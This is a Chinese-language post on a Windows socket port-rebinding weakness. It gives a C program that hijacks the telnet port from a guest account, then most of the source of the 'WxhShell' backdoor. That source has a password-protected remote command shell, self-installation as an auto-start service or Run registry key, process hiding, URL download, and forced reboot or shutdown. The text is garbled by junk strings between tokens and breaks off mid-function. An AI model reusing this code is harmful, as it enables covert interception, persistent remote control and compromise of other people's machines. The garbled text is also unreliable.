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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S<Q8kW: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T'i9_V{ seY0"ym&e saddr.sin_family = AF_INET; ;hF >iw RBr saddr.sin_addr.s_addr = htonl(INADDR_ANY); PN/2EmwtC S1uW`zQ!+_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "Nd$sZk= g*t.g@B<2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n4YEu\* OH5
kT$ 这意味着什么?意味着可以进行如下的攻击: W6'+#Fp %r6LU<;1@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cih} %_M B- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ']$ttfJB 6v GcM3M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (~-q}_G;Q eC9~
wc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 RTA9CR)JP4 598xV|TON 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =N<Hc:<t4 ,!kyrk6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ec1snMY ~J)4 (411 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )U<4ul ZT8. r0 #include PNT.9 *d #include C,]Q/6'> #include \#tr4g~u #include 1|/2%IDUI DWORD WINAPI ClientThread(LPVOID lpParam); 4}580mBc int main() j /-p3#c { K!|=)G3.` WORD wVersionRequested; (4ow0}1 DWORD ret; XF\`stEnb WSADATA wsaData; ,-] JCcH BOOL val; =6 SOCKADDR_IN saddr; v8*ZwF SOCKADDR_IN scaddr; +hjc~|RK int err; HxZ4t SOCKET s; m{%_5 nW SOCKET sc; 2: pq|eiF int caddsize; ,)]ZD H HANDLE mt; dmlh;Z DWORD tid; 6ap,XFRMh wVersionRequested = MAKEWORD( 2, 2 ); 42z9N\ f err = WSAStartup( wVersionRequested, &wsaData ); }'H Da M if ( err != 0 ) { (Egykh> printf("error!WSAStartup failed!\n"); H:[z#f|t return -1;
\SLYqJ~m } W:rzfO.`Z saddr.sin_family = AF_INET; F,:F9r?l,H ^D.B^BR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aOYd"S}u `
|]6<<'iW saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +bRL.xY saddr.sin_port = htons(23); DN^ln%# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w_U5w { U#F(#3/ printf("error!socket failed!\n"); T7W+K7kbI return -1; Ccc6 ko_ } Ce_Z
&? val = TRUE; -\NB*|9m| //SO_REUSEADDR选项就是可以实现端口重绑定的 ^<% w'*gR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /itO xrA { TfZO0GL$ printf("error!setsockopt failed!\n"); B;K{Vo:C return -1; m
} S0yPg9v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nIsi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P?0b-Qr$a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jG.*tuf zP9 HYS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a,j!B
hu { +=}%
7o ret=GetLastError(); 6B+
@76w H printf("error!bind failed!\n"); Q?Nzt;)!. return -1; 5 ;|9bWH } [9LYR3 p listen(s,2); `8y & while(1) ]&r/H17 { KBJ|P^W5j caddsize = sizeof(scaddr); R]V`t^1 //接受连接请求 uY;/3?k& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d&ZwVF! if(sc!=INVALID_SOCKET) VJ$C)0xQA { $PTedJ}*Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F)%; gzs if(mt==NULL) =Q|}7g8o { Maxnk3n printf("Thread Creat Failed!\n"); *U8#'Uan break; f0[xMn0Tu } zm~~mz A } t|y4kM CloseHandle(mt); k|lxJ^V# } r2<+ =INn closesocket(s); z%AIv% WSACleanup(); 6?a(@<k_ return 0; \u /5&[; } rxz3Mqg DWORD WINAPI ClientThread(LPVOID lpParam) Xt7'clr { F9c2JBOM SOCKET ss = (SOCKET)lpParam; PIr Uls0} SOCKET sc; K9P"ncMt unsigned char buf[4096]; #k"[TCQ> SOCKADDR_IN saddr; CVUJ(D&Q long num; KXM-GIRUG DWORD val; QO?ha'Sl DWORD ret; >3kR~:; //如果是隐藏端口应用的话,可以在此处加一些判断 RXof$2CZS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 RSi0IfG5 saddr.sin_family = AF_INET; :E^B~ OuL saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m3XH3FgKz saddr.sin_port = htons(23); QP;b\11m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,-1$Vh@wM { 'w!gQ#De printf("error!socket failed!\n"); e7?W VV, return -1; ?I0 i%nH } -'N#@Wdr val = 100; kg61Dgu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c%U$qao=c+ { 87Uv+((H ret = GetLastError(); |{jAMC0# return -1; O}`01A!u; } %zD-gw> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T7T!v { hHg
gH4T ret = GetLastError(); ]T l\9we return -1; b
mm@oi } xh6x
B|Z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bSR<d { c6uKKh> printf("error!socket connect failed!\n"); 1;xw)65 closesocket(sc); #-Rz`Y<& closesocket(ss); 0;H6b= return -1; _Ry.Wth } mce`1Tjw while(1) yUSB{DLpla {
ke#;1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qQcC[50 //如果是嗅探内容的话,可以再此处进行内容分析和记录 } >w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5Hm!5:ZB num = recv(ss,buf,4096,0);
b:QFD| if(num>0) by
U\I5 send(sc,buf,num,0); ^'fKey` else if(num==0) :.Qe=}9 break; u0Erz0*G4 num = recv(sc,buf,4096,0); 5y3TlR if(num>0) &o/4hnHYt send(ss,buf,num,0); U&n>fXTHn else if(num==0) uT/B}`md break; Y+
Z9IiS7 } w~U`+2a3 closesocket(ss); $vLV<
y07 closesocket(sc); W|#ev*'F return 0 ; fBgKX?Y } =[K)<5,@ <s>/< kW: D' `"_ ========================================================== =]QH78\3 6lWFxbh 下边附上一个代码,,WXhSHELL M91lV(Z V0Z7o\-J ========================================================== n6-Ic',; ?GNF=#=M #include "stdafx.h" MgQU6O< T4=3VrS #include <stdio.h> 5;
PXF #include <string.h> ARdGh_yJ& #include <windows.h> @pGlWw9* #include <winsock2.h> x"8ey|@&, #include <winsvc.h> 8q [c #include <urlmon.h> A<Z5 OJsd[l3xR #pragma comment (lib, "Ws2_32.lib") F> QT| #pragma comment (lib, "urlmon.lib") o~x39 *fl{Y(_OO #define MAX_USER 100 // 最大客户端连接数 .W : #define BUF_SOCK 200 // sock buffer @qPyrgy #define KEY_BUFF 255 // 输入 buffer !
F <] T I\upnEKKzZ #define REBOOT 0 // 重启 [9O~$! <% #define SHUTDOWN 1 // 关机 aGe(vQPi9 zZ9<4"CIk #define DEF_PORT 5000 // 监听端口 o? i.v0@!K V 7l{hEo3? #define REG_LEN 16 // 注册表键长度 lW$&fuDHF #define SVC_LEN 80 // NT服务名长度 ^+as\ D*cyFAF // 从dll定义API 28R>>C=R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (~Uel1~@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V(2,\+ t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |[Ie.&) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_@!QY
1/2V.:bg // wxhshell配置信息 x_<bK$OU struct WSCFG { WBr:|F+~s int ws_port; // 监听端口 5e)6ua , char ws_passstr[REG_LEN]; // 口令 *`ZB+ \* int ws_autoins; // 安装标记, 1=yes 0=no ov`^o25f char ws_regname[REG_LEN]; // 注册表键名 {?*<B=c char ws_svcname[REG_LEN]; // 服务名 5@czK*5 char ws_svcdisp[SVC_LEN]; // 服务显示名 ahNX/3;y char ws_svcdesc[SVC_LEN]; // 服务描述信息 i_=?eUq%q/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0+}EA[ int ws_downexe; // 下载执行标记, 1=yes 0=no 5L-lpT8P char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" " ^HK@$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .?rbny +UK%t>E8 }; mDQEXMD Jcz]J)|5v // default Wxhshell configuration =.36y9Mfo struct WSCFG wscfg={DEF_PORT, f]tv`<Q7 "xuhuanlingzhe", +M'aWlPg, 1, U*3AM_w "Wxhshell", F qeV3N "Wxhshell", A%Bgp?B "WxhShell Service", s\'y-UITi1 "Wrsky Windows CmdShell Service", +yf(Rs)! "Please Input Your Password: ", ?a5h iN0 1, >4n+PXRXX " http://www.wrsky.com/wxhshell.exe", J~Cc9"( "Wxhshell.exe"
lWx }; $#%U\mIz (C daE!I4Q // 消息定义模块 D]IBB>F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *16<M)7 char *msg_ws_prompt="\n\r? for help\n\r#>"; l0gY~T/#3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; GE1i+.+-. char *msg_ws_ext="\n\rExit."; Q
[rj char *msg_ws_end="\n\rQuit."; n*4lz^LR char *msg_ws_boot="\n\rReboot..."; 0b/ir 2 char *msg_ws_poff="\n\rShutdown..."; <9P4}`%)3 char *msg_ws_down="\n\rSave to "; CSMeSPOm] CRH{E}> char *msg_ws_err="\n\rErr!"; ]N*L7AVl char *msg_ws_ok="\n\rOK!"; s\[LpLt jY7=mAd char ExeFile[MAX_PATH]; CuH2E>wz int nUser = 0; Btj#EoSI_ HANDLE handles[MAX_USER]; HTmI1 int OsIsNt; xfjd5J7' Sw~(uH_l SERVICE_STATUS serviceStatus; lT2 4JhJ# SERVICE_STATUS_HANDLE hServiceStatusHandle; |]`hXr eD%HXGe // 函数声明 WRWWskP int Install(void); (Uk>?XAr int Uninstall(void); Cyq?5\ a int DownloadFile(char *sURL, SOCKET wsh); [4sEVu} int Boot(int flag); zh\p void HideProc(void); v??TJ^1 int GetOsVer(void); ,57$N&w int Wxhshell(SOCKET wsl); lVz9k void TalkWithClient(void *cs); hi ~} int CmdShell(SOCKET sock); !/`$AXO int StartFromService(void); cHx%Nd\ int StartWxhshell(LPSTR lpCmdLine); 8WL8/ *U;'OWE[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]hA,LY f VOID WINAPI NTServiceHandler( DWORD fdwControl ); )p<WDiX1!e +oI3I~ // 数据结构和表定义 ~vHk&r]| SERVICE_TABLE_ENTRY DispatchTable[] = glj7$ { -(i(02PX {wscfg.ws_svcname, NTServiceMain}, ]mQw,S)/" {NULL, NULL} G O{.9_2 }; )=J5\3O*x qFco3 // 自我安装 #sTEQjJ,J int Install(void) 'fx UV<K& { Y4E/?37j char svExeFile[MAX_PATH]; N|mJg[j@7 HKEY key; W3r?7!~ strcpy(svExeFile,ExeFile); ('O}&F1 j~E",7Q' // 如果是win9x系统,修改注册表设为自启动 qH>`}/,P if(!OsIsNt) { 'OkGReKt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lhH`dG D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z0%\OhuCcf RegCloseKey(key); j'?7D0> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /P:.qtT( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R\mR $\cS RegCloseKey(key); ;{#^MD MB return 0; >(r{7Qg } Os&n } )w h%| } yF13Of^l./ else { Es5f*P0 xYfD()w<I // 如果是NT以上系统,安装为系统服务 {2&m`Dbm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &<y2q/U} if (schSCManager!=0) 9Fo fr { -d+aV1n SC_HANDLE schService = CreateService o:S0* ( \f:z+F!6R schSCManager, \Q~8?p+ wscfg.ws_svcname,
YZc>dE wscfg.ws_svcdisp, 0'5/K , SERVICE_ALL_ACCESS, kDvc"
,SD# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S4UM|` SERVICE_AUTO_START, TlZT1H SERVICE_ERROR_NORMAL, \1"'E@+ svExeFile, F&RgT1* NULL,
h `}} NULL, tVuWVJ4M NULL, {-3L IO NULL, h4|i%,f NULL ({r*=wAP ); 1MlUG5 if (schService!=0) ldha|s.* { sm,VYYs CloseServiceHandle(schService); aNcd`
$0 CloseServiceHandle(schSCManager); M<O{O}t< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); in+}/mwfC strcat(svExeFile,wscfg.ws_svcname); W>_]dPB S/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j#r6b]k(Hv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r={c,i RegCloseKey(key); @"a6fn return 0; X cr
= } 32DbNEk } IV%zO+ CloseServiceHandle(schSCManager); 5oEV-6 } +#U|skl } Z4<L$i;/jN n0Y+b[+wj return 1; ]]7mlQ } ,.eWQK~ v+p{|X- // 自我卸载 )?_#gLrE6 int Uninstall(void) &'cL%. { O~j> ? HKEY key; XL#[%X9 EA ]+vq if(!OsIsNt) { =qN2Xg/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b0iSn#$ RegDeleteValue(key,wscfg.ws_regname); mc=LP>uoS RegCloseKey(key); ~wg:!VWA) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+rCxn?;g RegDeleteValue(key,wscfg.ws_regname); u]}s)SmDk RegCloseKey(key); J>fQNW!{ return 0; "KcA } ; ^t{Il'j } DN4$Jva } fXrXV~'8 else { [MuEoWrq(} /mo(_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8XbA'% o if (schSCManager!=0) rG,5[/l { Gt9&)/# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \fr-<5w7 9 if (schService!=0) Uj&W<'I { KWLbD# if(DeleteService(schService)!=0) { F~A 'X CloseServiceHandle(schService); ECv)v CloseServiceHandle(schSCManager); j*~T1i return 0; UH3sH
t } Mq';S^ CloseServiceHandle(schService); wAnb
Di{W } k,euhA/& CloseServiceHandle(schSCManager); C8F 7bG8c }
4CGPOc } Z7 E Df3rV '/~ return 1; ?%H):r } 1S@vGq} o)'y.-@Q // 从指定url下载文件 A*W)bZs. int DownloadFile(char *sURL, SOCKET wsh) lJ@] [; { LjV]0%j?r HRESULT hr; m&|`x char seps[]= "/"; fu~+8CE. char *token; `a9L%z char *file; ou
%/l4dC char myURL[MAX_PATH]; }NsUnbxT char myFILE[MAX_PATH]; p!s}=wI` W_0>y9? strcpy(myURL,sURL); >[X{LI(_<< token=strtok(myURL,seps); 7Pa@1'] while(token!=NULL) G7D2{J{1 { N/GQt\tV< file=token; ETB6f token=strtok(NULL,seps); 7'OtruJ } '=l[;Q^Q F{ELSKcp. GetCurrentDirectory(MAX_PATH,myFILE); VN%INUi@ strcat(myFILE, "\\"); OQ9x*TmK strcat(myFILE, file); cV`E>w=D0 send(wsh,myFILE,strlen(myFILE),0); 3"rzb]=R send(wsh,"...",3,0); )#LpCM,a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); umdG(osR if(hr==S_OK) bGorH=pb5R return 0; v!%5&: c3 else r7Ya\0gU return 1; Q:$Zy , lJv } X6^},C'E.: ApjOj/ // 系统电源模块 /<rt1&0 int Boot(int flag) j^`hzh3S { +S=Rn, HANDLE hToken; JAI)Eqqv] TOKEN_PRIVILEGES tkp; 6)BR+U z~A]9|/61v if(OsIsNt) { "] \+? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gkHNRAL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iPrLwheb tkp.PrivilegeCount = 1; n#=o?!_4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 `KN]Nt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T,$WlK
Wj if(flag==REBOOT) { 57 #6yXQ
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <r3J0)r} return 0; *s;|T?~i } %e@#uxm else { +Y+Y6Ac[} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /6_|]ijc return 0; M|] "W } L;od6<.*m } 1LJUr"6] else { n-TQ*&h]3S if(flag==REBOOT) { )IJQeC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CSCN['x return 0; =r@vc } r$wxk 4%Rz else { [=|jZVhT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ldn8 return 0; 5K?}}Frrt` } }E_#k]#* } {f{ZHi| U#1bp}y return 1; K'h1szW } U!m@DJj vpU#xm.K // win9x进程隐藏模块 TW^/sx void HideProc(void) $m CarFV-T { rL5z]RY LF0sH)e] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); />j';6vi if ( hKernel != NULL ) JBnKK { ,E.' o=Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AL5Vu$V~n} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !'Q -yoHKD FreeLibrary(hKernel); RV&^g*;E } ZR\VCVH\^ # M!!CX*k return; 1[]&(Pa } mYU9
trHV [NFNzwUB // 获取操作系统版本 a[2vjFf#C int GetOsVer(void) A 8 vbQ { ;us%/kOR OSVERSIONINFO winfo; &x >B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !cGDy/| GetVersionEx(&winfo); @JW@-9/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |7#[ (%D! return 1; ?3O9eZY@ else G7=pBf return 0; h!m_PgRSs } MaD3[4@# u=YX9Mo! // 客户端句柄模块 B(F,h+ajy int Wxhshell(SOCKET wsl) }za[E>z { .6OgO{P: SOCKET wsh; ?<*-j4v struct sockaddr_in client; {-A^g!jT& DWORD myID; cT\I[9!) 6;
Y0a4Ax while(nUser<MAX_USER) &
/4k7X}y { V)P&Zw int nSize=sizeof(client); ;sch>2&ZWU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3v")J*t if(wsh==INVALID_SOCKET) return 1; 6DZ),F,M X w .p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p!/[K6u if(handles[nUser]==0) S!{t6'8K closesocket(wsh); Uje|`<X else x3rlJs`$; nUser++; j|tC@0A } *6U&Qy-M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zS< jd~ <58l;<0 return 0; MZ+e}|!4, } qOaQxRYm%Y >*$; // 关闭 socket P_u|-~|\ void CloseIt(SOCKET wsh) wDwH.~3! { [j4v]PE closesocket(wsh); ;#MB7A
nUser--; -{
u*qtp ExitThread(0); OUP?p@%]< } *;|`E( e5Mln!.o // 客户端请求句柄 `c+/q2M void TalkWithClient(void *cs) C>Is1i^9 { 1qi@uYDug Dr;iQkGP
SOCKET wsh=(SOCKET)cs; IHC1G1KW=A char pwd[SVC_LEN]; #'4OYY. char cmd[KEY_BUFF]; Z2"?&pKV char chr[1]; //Ai.Q.J[ int i,j; U.T|
xLZd!>C while (nUser < MAX_USER) { wY"o`oZ Y\v-,xPm if(wscfg.ws_passstr) { 7<9L?F2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :c8n[+5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (qwdQMj` //ZeroMemory(pwd,KEY_BUFF); (c v!Y=] i=0; $j)hNWI while(i<SVC_LEN) { /XS&d%y r.0oxH'] // 设置超时 _y .]3JNm fd_set FdRead; 2i|B=D( struct timeval TimeOut; S'B6jJK2x FD_ZERO(&FdRead); Ri>?KrQF% FD_SET(wsh,&FdRead); ;7Oi! BC TimeOut.tv_sec=8; V,%L~dI TimeOut.tv_usec=0; !MQN H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -v?hqWMp# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6aOp[-Le P%X-@0) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bXM/2Z?6 pwd =chr[0]; GJ'spgz if(chr[0]==0xd || chr[0]==0xa) { u1K\@jlw pwd=0; q;AT>" = ) break; /vE]2Io } ;+pOP |P= i++; 5|$a =UIR } `Iy4=nVb /&ygi H{^ // 如果是非法用户,关闭 socket h7qBp300 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DlE_W+F } @kD8^,( oH >qT 'z$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wz -)1! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6xgv:, <M[U#Q~?~e while(1) { hv)7H)|l~] MmU%%2QG ZeroMemory(cmd,KEY_BUFF); EY>8O+ bdc\ // 自动支持客户端 telnet标准 +lO'wa7|3 j=0; 3/M.0}e while(j<KEY_BUFF) { fAj2LAK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f1D*id*`# cmd[j]=chr[0]; p {%t q$}. if(chr[0]==0xa || chr[0]==0xd) { {w`:KR6o7 cmd[j]=0; _LfHs1g4 break; 2f:Mm'XdB } @Hr+/52B j++;
T<jfAE } zJ& b|L Sw!
j=`O // 下载文件 )@:l^$x if(strstr(cmd,"http://")) { (N U0Tw send(wsh,msg_ws_down,strlen(msg_ws_down),0); &^ I+s^\= if(DownloadFile(cmd,wsh)) q/6UK = send(wsh,msg_ws_err,strlen(msg_ws_err),0); <lFY7'aY else 'm1. X-$V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (M% ;~y\ } lg/sMF>z\f else { ^Qh-(u` 8@7AE" switch(cmd[0]) {
EZ% .M*? dl/X."iv! // 帮助 ,8SWe case '?': { r#~K[qb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XNmQ?`.2' break; +0#JnqH" } yU`:IMz // 安装 E#h~V5Tf case 'i': { 3YTIH2z5 if(Install()) 29O]S8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\/IM else M]ap: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *h,3}\ break; Dt {') } IvSn>o // 卸载 eti9nPjG case 'r': { +L6" vkz if(Uninstall()) 91;HiILgT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5^|"_Q#: else 6:RMU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(3(ZqP break; /oDpgOn } IgA.%}II} // 显示 wxhshell 所在路径 P7>IZ >bw case 'p': { [`bZ5*& char svExeFile[MAX_PATH]; o_:Qk;t strcpy(svExeFile,"\n\r"); ,|x\MHd?t_ strcat(svExeFile,ExeFile); <UAP~RH{ send(wsh,svExeFile,strlen(svExeFile),0); _sm;HH7'* break; V* Qe5j9 } {jG.=}/Dk // 重启 S2}Z&X( case 'b': { Z3n~&! send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); afy/K'~ if(Boot(REBOOT)) w@-b send(wsh,msg_ws_err,strlen(msg_ws_err),0); @{bb'q['@ else { a],h<wGEx closesocket(wsh); ??+:vai2 ExitThread(0); n>T:2PQ3 } NE[y|/ break; Z*h ;e; } |=,83,a // 关机 9RB`$5F;
case 'd': { rV U:VL`2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); skK*OO2- if(Boot(SHUTDOWN)) Y'&8L'2Z[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); yI:r7=KO else { 'oCm.~;_ closesocket(wsh); W7W3DBKtSm ExitThread(0); i9y3PP) } /o\U/I break; km}MqBQl } E{I)]h // 获取shell m1i4 , case 's': { hLSTSD} CmdShell(wsh); k~R{Y~W!! closesocket(wsh); |""=)-5N ExitThread(0); E0T&GR@. break; {Evcc+Eq } {GK(fBE // 退出 S$\.4*_H\ case 'x': { SF"#\{cjj send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x!`b'U\ CloseIt(wsh); ">4PePt.n break; ]79~:m[C } @+$cZ3, // 离开 %mJ~F*Dy case 'q': { P3i^S_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); U>in2u9 closesocket(wsh); hR!}u}ECd WSACleanup(); f.J9) lfb exit(1); {v,{x1 break; z'_&|-m } ):^ '/e } Oy:QkV9 } luibB&p1 epn#qeX // 提示信息 FOc|*>aKP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); amMjuyW } {x7=;- } -%>8.#~G tp%|AD" return; AfUZO^< } \QliHm! Hw\([j* // shell模块句柄 ';&0~ [R[ int CmdShell(SOCKET sock) PEfE'lGj { HOq4i! STARTUPINFO si; u1tq2"D8 ZeroMemory(&si,sizeof(si)); |3S'8OeCI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P87ld._ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TH<fbd PROCESS_INFORMATION ProcessInfo; K2*1T+?X char cmdline[]="cmd"; /%62X{=>; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V_Xy2<V return 0; $4DFgvy$ } Z"-ntx# 5.O-(eSa0& // 自身启动模式 ri#,ec|J int StartFromService(void) %I_&Ehu { 5LO4P>fq typedef struct 'CS^2Z { *C5:#A0 DWORD ExitStatus; ylkpYd DWORD PebBaseAddress; F='Xj@&O DWORD AffinityMask; ?68$3; DWORD BasePriority; 4,j4E@?pG9 ULONG UniqueProcessId; '&N: S- ULONG InheritedFromUniqueProcessId; 4\&H?:c. } PROCESS_BASIC_INFORMATION; V/`#B$6 {`+bW"9 PROCNTQSIP NtQueryInformationProcess; +]A+!8%Z issT{&T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F<h&3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tU9rCL:P 8o! HANDLE hProcess; ;n3uV`\ PROCESS_BASIC_INFORMATION pbi;
